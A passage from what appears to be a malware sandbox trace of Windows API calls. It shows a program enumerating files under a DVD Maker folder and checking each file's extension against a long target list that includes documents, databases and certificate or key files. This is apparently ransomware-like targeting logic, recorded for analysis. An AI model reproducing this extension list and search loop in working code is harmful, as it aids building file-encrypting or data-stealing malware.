[0035.836] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0035.836] lstrlenW (lpString=".cr2") returned 4 [0035.836] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0035.837] lstrlenW (lpString=".crt") returned 4 [0035.837] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0035.837] lstrlenW (lpString=".crw") returned 4 [0035.837] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0035.837] lstrlenW (lpString=".cs") returned 3 [0035.837] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0035.837] lstrlenW (lpString=".css") returned 4 [0035.837] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0035.837] lstrlenW (lpString=".csv") returned 4 [0035.837] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0035.837] lstrlenW (lpString=".cub") returned 4 [0035.837] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0035.837] lstrlenW (lpString=".dae") returned 4 [0035.837] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0035.837] lstrlenW (lpString=".dat") returned 4 [0035.837] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0035.837] lstrlenW (lpString=".db") returned 3 [0035.837] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0035.837] lstrlenW (lpString=".dbf") returned 4 [0035.837] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0035.837] lstrlenW (lpString=".dbx") returned 4 [0035.837] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0035.837] lstrlenW (lpString=".dc3") returned 4 [0035.837] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0035.837] lstrlenW (lpString=".dcm") returned 4 [0035.837] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0035.837] lstrlenW (lpString=".dcr") returned 4 [0035.837] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0035.837] lstrlenW (lpString=".der") returned 4 [0035.837] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0035.837] lstrlenW (lpString=".dib") returned 4 [0035.837] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0035.837] lstrlenW (lpString=".dic") returned 4 [0035.837] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0035.837] lstrlenW (lpString=".dif") returned 4 [0035.838] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0035.838] lstrlenW (lpString=".divx") returned 5 [0035.838] lstrcmpiW (lpString1=".divx", lpString2="d.png") returned -1 [0035.838] lstrlenW (lpString=".djvu") returned 5 [0035.838] lstrcmpiW (lpString1=".djvu", lpString2="d.png") returned -1 [0035.838] lstrlenW (lpString=".dng") returned 4 [0035.838] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0035.838] lstrlenW (lpString=".doc") returned 4 [0035.838] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0035.838] lstrlenW (lpString=".docm") returned 5 [0035.838] lstrcmpiW (lpString1=".docm", lpString2="d.png") returned -1 [0035.838] lstrlenW (lpString=".docx") returned 5 [0035.838] lstrcmpiW (lpString1=".docx", lpString2="d.png") returned -1 [0035.838] lstrlenW (lpString=".dot") returned 4 [0035.838] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0035.838] lstrlenW (lpString=".dotm") returned 5 [0035.838] lstrcmpiW (lpString1=".dotm", lpString2="d.png") returned -1 [0035.838] lstrlenW (lpString=".dotx") returned 5 [0035.838] lstrcmpiW (lpString1=".dotx", lpString2="d.png") returned -1 [0035.838] lstrlenW (lpString=".dpx") returned 4 [0035.838] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0035.838] lstrlenW (lpString=".dqy") returned 4 [0035.838] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0035.838] lstrlenW (lpString=".dsn") returned 4 [0035.838] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0035.838] lstrlenW (lpString=".dt") returned 3 [0035.838] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0035.838] lstrlenW (lpString=".dtd") returned 4 [0035.838] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0035.838] lstrlenW (lpString=".dwg") returned 4 [0035.838] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0035.838] lstrlenW (lpString=".dwt") returned 4 [0035.838] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0035.838] lstrlenW (lpString=".dx") returned 3 [0035.839] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0035.839] lstrlenW (lpString=".dxf") returned 4 [0035.839] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0035.839] lstrlenW (lpString=".edml") returned 5 [0035.839] lstrcmpiW (lpString1=".edml", lpString2="d.png") returned -1 [0035.839] lstrlenW (lpString=".efd") returned 4 [0035.839] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0035.839] lstrlenW (lpString=".elf") returned 4 [0035.839] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0035.839] lstrlenW (lpString=".emf") returned 4 [0035.839] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0035.839] lstrlenW (lpString=".emz") returned 4 [0035.839] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0035.839] lstrlenW (lpString=".epf") returned 4 [0035.839] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0035.839] lstrlenW (lpString=".eps") returned 4 [0035.839] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0035.839] lstrlenW (lpString=".epsf") returned 5 [0035.839] lstrcmpiW (lpString1=".epsf", lpString2="d.png") returned -1 [0035.839] lstrlenW (lpString=".epsp") returned 5 [0035.839] lstrcmpiW (lpString1=".epsp", lpString2="d.png") returned -1 [0035.839] lstrlenW (lpString=".erf") returned 4 [0035.839] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0035.839] lstrlenW (lpString=".exr") returned 4 [0035.839] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0035.839] lstrlenW (lpString=".f4v") returned 4 [0035.839] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0035.839] lstrlenW (lpString=".fido") returned 5 [0035.839] lstrcmpiW (lpString1=".fido", lpString2="d.png") returned -1 [0035.839] lstrlenW (lpString=".flm") returned 4 [0035.839] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0035.839] lstrlenW (lpString=".flv") returned 4 [0035.839] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0035.840] lstrlenW (lpString=".frm") returned 4 [0035.840] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0035.840] lstrlenW (lpString=".fxg") returned 4 [0035.840] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0035.840] lstrlenW (lpString=".geo") returned 4 [0035.840] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0035.840] lstrlenW (lpString=".gif") returned 4 [0035.840] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0035.840] lstrlenW (lpString=".grs") returned 4 [0035.840] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0035.840] lstrlenW (lpString=".gz") returned 3 [0035.840] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0035.840] lstrlenW (lpString=".h") returned 2 [0035.840] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0035.840] lstrlenW (lpString=".hdr") returned 4 [0035.840] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0035.840] lstrlenW (lpString=".hpp") returned 4 [0035.840] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0035.840] lstrlenW (lpString=".hta") returned 4 [0035.840] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0035.840] lstrlenW (lpString=".htc") returned 4 [0035.840] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0035.840] lstrlenW (lpString=".htm") returned 4 [0035.840] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0035.840] lstrlenW (lpString=".html") returned 5 [0035.840] lstrcmpiW (lpString1=".html", lpString2="d.png") returned -1 [0035.840] lstrlenW (lpString=".icb") returned 4 [0035.840] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0035.840] lstrlenW (lpString=".ics") returned 4 [0035.840] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0035.840] lstrlenW (lpString=".iff") returned 4 [0035.840] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0035.840] lstrlenW (lpString=".inc") returned 4 [0035.840] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0035.841] lstrlenW (lpString=".indd") returned 5 [0035.841] lstrcmpiW (lpString1=".indd", lpString2="d.png") returned -1 [0035.841] lstrlenW (lpString=".ini") returned 4 [0035.841] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0035.841] lstrlenW (lpString=".iqy") returned 4 [0035.841] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0035.841] lstrlenW (lpString=".j2c") returned 4 [0035.841] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0035.841] lstrlenW (lpString=".j2k") returned 4 [0035.841] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0035.841] lstrlenW (lpString=".java") returned 5 [0035.841] lstrcmpiW (lpString1=".java", lpString2="d.png") returned -1 [0035.841] lstrlenW (lpString=".jp2") returned 4 [0035.841] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0035.841] lstrlenW (lpString=".jpc") returned 4 [0035.841] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0035.841] lstrlenW (lpString=".jpe") returned 4 [0035.841] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0035.841] lstrlenW (lpString=".jpeg") returned 5 [0035.841] lstrcmpiW (lpString1=".jpeg", lpString2="d.png") returned -1 [0035.841] lstrlenW (lpString=".jpf") returned 4 [0035.841] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0035.841] lstrlenW (lpString=".jpg") returned 4 [0035.841] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0035.841] lstrlenW (lpString=".jpx") returned 4 [0035.841] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0035.841] lstrlenW (lpString=".js") returned 3 [0035.841] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0035.841] lstrlenW (lpString=".jsf") returned 4 [0035.841] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0035.841] lstrlenW (lpString=".json") returned 5 [0035.841] lstrcmpiW (lpString1=".json", lpString2="d.png") returned -1 [0035.841] lstrlenW (lpString=".jsp") returned 4 [0035.841] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0035.841] lstrlenW (lpString=".kdc") returned 4 [0035.842] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0035.842] lstrlenW (lpString=".kmz") returned 4 [0035.842] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0035.842] lstrlenW (lpString=".kwm") returned 4 [0035.842] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0035.842] lstrlenW (lpString=".lasso") returned 6 [0035.842] lstrcmpiW (lpString1=".lasso", lpString2="nd.png") returned -1 [0035.842] lstrlenW (lpString=".lbi") returned 4 [0035.842] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0035.842] lstrlenW (lpString=".lgf") returned 4 [0035.842] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0035.842] lstrlenW (lpString=".lgp") returned 4 [0035.842] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0035.842] lstrlenW (lpString=".log") returned 4 [0035.842] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0035.842] lstrlenW (lpString=".m1v") returned 4 [0035.842] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0035.842] lstrlenW (lpString=".m4a") returned 4 [0035.842] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0035.842] lstrlenW (lpString=".m4v") returned 4 [0035.842] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0035.842] lstrlenW (lpString=".max") returned 4 [0035.842] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0035.842] lstrlenW (lpString=".md") returned 3 [0035.842] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0035.842] lstrlenW (lpString=".mda") returned 4 [0035.842] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0035.842] lstrlenW (lpString=".mdb") returned 4 [0035.842] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0035.842] lstrlenW (lpString=".mde") returned 4 [0035.842] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0035.842] lstrlenW (lpString=".mdf") returned 4 [0035.842] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0035.842] lstrlenW (lpString=".mdw") returned 4 [0035.843] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0035.843] lstrlenW (lpString=".mef") returned 4 [0035.843] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0035.843] lstrlenW (lpString=".mft") returned 4 [0035.843] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0035.843] lstrlenW (lpString=".mfw") returned 4 [0035.843] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0035.843] lstrlenW (lpString=".mht") returned 4 [0035.843] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0035.843] lstrlenW (lpString=".mhtml") returned 6 [0035.843] lstrcmpiW (lpString1=".mhtml", lpString2="nd.png") returned -1 [0035.843] lstrlenW (lpString=".mka") returned 4 [0035.843] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0035.843] lstrlenW (lpString=".mkidx") returned 6 [0035.843] lstrcmpiW (lpString1=".mkidx", lpString2="nd.png") returned -1 [0035.843] lstrlenW (lpString=".mkv") returned 4 [0035.843] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0035.843] lstrlenW (lpString=".mos") returned 4 [0035.843] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0035.843] lstrlenW (lpString=".mov") returned 4 [0035.843] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0035.843] lstrlenW (lpString=".mp3") returned 4 [0035.843] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0035.843] lstrlenW (lpString=".mp4") returned 4 [0035.843] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0035.843] lstrlenW (lpString=".mpeg") returned 5 [0035.843] lstrcmpiW (lpString1=".mpeg", lpString2="d.png") returned -1 [0035.843] lstrlenW (lpString=".mpg") returned 4 [0035.843] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0035.843] lstrlenW (lpString=".mpv") returned 4 [0035.843] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0035.843] lstrlenW (lpString=".mrw") returned 4 [0035.843] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0035.843] lstrlenW (lpString=".msg") returned 4 [0035.844] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0035.844] lstrlenW (lpString=".mxl") returned 4 [0035.844] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0035.844] lstrlenW (lpString=".myd") returned 4 [0035.844] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0035.844] lstrlenW (lpString=".myi") returned 4 [0035.844] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0035.844] lstrlenW (lpString=".nef") returned 4 [0035.844] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0035.844] lstrlenW (lpString=".nrw") returned 4 [0035.844] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0035.844] lstrlenW (lpString=".obj") returned 4 [0035.844] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0035.844] lstrlenW (lpString=".odb") returned 4 [0035.844] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0035.844] lstrlenW (lpString=".odc") returned 4 [0035.844] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0035.844] lstrlenW (lpString=".odm") returned 4 [0035.844] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0035.844] lstrlenW (lpString=".odp") returned 4 [0035.844] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0035.844] lstrlenW (lpString=".ods") returned 4 [0035.844] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0035.844] lstrlenW (lpString=".oft") returned 4 [0035.844] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0035.844] lstrlenW (lpString=".one") returned 4 [0035.844] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0035.844] lstrlenW (lpString=".onepkg") returned 7 [0035.844] lstrcmpiW (lpString1=".onepkg", lpString2="und.png") returned -1 [0035.844] lstrlenW (lpString=".onetoc2") returned 8 [0035.844] lstrcmpiW (lpString1=".onetoc2", lpString2="ound.png") returned -1 [0035.844] lstrlenW (lpString=".opt") returned 4 [0035.844] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0035.844] lstrlenW (lpString=".oqy") returned 4 [0035.845] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0035.845] lstrlenW (lpString=".orf") returned 4 [0035.845] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0035.845] lstrlenW (lpString=".p12") returned 4 [0035.845] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0035.845] lstrlenW (lpString=".p7b") returned 4 [0035.845] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0035.845] lstrlenW (lpString=".p7c") returned 4 [0035.845] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0035.845] lstrlenW (lpString=".pam") returned 4 [0035.845] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0035.845] lstrlenW (lpString=".pbm") returned 4 [0035.845] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0035.845] lstrlenW (lpString=".pct") returned 4 [0035.845] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0035.845] lstrlenW (lpString=".pcx") returned 4 [0035.845] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0035.845] lstrlenW (lpString=".pdd") returned 4 [0035.845] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0035.845] lstrlenW (lpString=".pdf") returned 4 [0035.845] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0035.845] lstrlenW (lpString=".pdp") returned 4 [0035.845] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0035.845] lstrlenW (lpString=".pef") returned 4 [0035.845] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0035.845] lstrlenW (lpString=".pem") returned 4 [0035.845] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0035.845] lstrlenW (lpString=".pff") returned 4 [0035.845] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0035.845] lstrlenW (lpString=".pfm") returned 4 [0035.845] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0035.845] lstrlenW (lpString=".pfx") returned 4 [0035.845] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0035.845] lstrlenW (lpString=".pgm") returned 4 [0035.846] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0035.846] lstrlenW (lpString=".php") returned 4 [0035.846] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0035.846] lstrlenW (lpString=".php3") returned 5 [0035.846] lstrcmpiW (lpString1=".php3", lpString2="d.png") returned -1 [0035.846] lstrlenW (lpString=".php4") returned 5 [0035.846] lstrcmpiW (lpString1=".php4", lpString2="d.png") returned -1 [0035.846] lstrlenW (lpString=".php5") returned 5 [0035.846] lstrcmpiW (lpString1=".php5", lpString2="d.png") returned -1 [0035.846] lstrlenW (lpString=".phtml") returned 6 [0035.846] lstrcmpiW (lpString1=".phtml", lpString2="nd.png") returned -1 [0035.846] lstrlenW (lpString=".pict") returned 5 [0035.846] lstrcmpiW (lpString1=".pict", lpString2="d.png") returned -1 [0035.846] lstrlenW (lpString=".pl") returned 3 [0035.846] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0035.846] lstrlenW (lpString=".pls") returned 4 [0035.846] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0035.846] lstrlenW (lpString=".pm") returned 3 [0035.846] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0035.846] lstrlenW (lpString=".png") returned 4 [0035.846] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0035.846] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710fd60c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710fd60c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0035.846] lstrlenW (lpString="16_9-frame-highlight.png") returned 24 [0035.846] lstrlenW (lpString=".1cd") returned 4 [0035.846] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0035.846] lstrlenW (lpString=".3ds") returned 4 [0035.846] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0035.846] lstrlenW (lpString=".3fr") returned 4 [0035.846] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0035.846] lstrlenW (lpString=".3g2") returned 4 [0035.846] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0035.846] lstrlenW (lpString=".3gp") returned 4 [0035.846] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0035.847] lstrlenW (lpString=".7z") returned 3 [0035.847] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0035.847] lstrlenW (lpString=".accda") returned 6 [0035.847] lstrcmpiW (lpString1=".accda", lpString2="ht.png") returned -1 [0035.847] lstrlenW (lpString=".accdb") returned 6 [0035.847] lstrcmpiW (lpString1=".accdb", lpString2="ht.png") returned -1 [0035.847] lstrlenW (lpString=".accdc") returned 6 [0035.847] lstrcmpiW (lpString1=".accdc", lpString2="ht.png") returned -1 [0035.847] lstrlenW (lpString=".accde") returned 6 [0035.847] lstrcmpiW (lpString1=".accde", lpString2="ht.png") returned -1 [0035.847] lstrlenW (lpString=".accdt") returned 6 [0035.847] lstrcmpiW (lpString1=".accdt", lpString2="ht.png") returned -1 [0035.847] lstrlenW (lpString=".accdw") returned 6 [0035.847] lstrcmpiW (lpString1=".accdw", lpString2="ht.png") returned -1 [0035.847] lstrlenW (lpString=".adb") returned 4 [0035.847] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0035.847] lstrlenW (lpString=".adp") returned 4 [0035.847] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0035.847] lstrlenW (lpString=".ai") returned 3 [0035.847] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0035.847] lstrlenW (lpString=".ai3") returned 4 [0035.847] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0035.847] lstrlenW (lpString=".ai4") returned 4 [0035.847] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0035.847] lstrlenW (lpString=".ai5") returned 4 [0035.847] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0035.847] lstrlenW (lpString=".ai6") returned 4 [0035.847] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0035.847] lstrlenW (lpString=".ai7") returned 4 [0035.847] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0035.847] lstrlenW (lpString=".ai8") returned 4 [0035.847] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0035.847] lstrlenW (lpString=".anim") returned 5 [0035.847] lstrcmpiW (lpString1=".anim", lpString2="t.png") returned -1 [0035.847] lstrlenW (lpString=".arw") returned 4 [0035.848] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0035.848] lstrlenW (lpString=".as") returned 3 [0035.848] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0035.848] lstrlenW (lpString=".asa") returned 4 [0035.848] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0035.848] lstrlenW (lpString=".asc") returned 4 [0035.848] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0035.848] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0035.849] FindClose (in: hFindFile=0x3ec0130 | out: hFindFile=0x3ec0130) returned 1 [0035.849] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ee1068 | out: hHeap=0x4b0000) returned 1 [0035.849] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1 [0035.849] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3ee1068 [0035.849] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0035.850] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.851] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0035.851] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0035.852] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ee1068 | out: hHeap=0x4b0000) returned 1 [0035.852] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1 [0035.852] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0035.854] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351f094 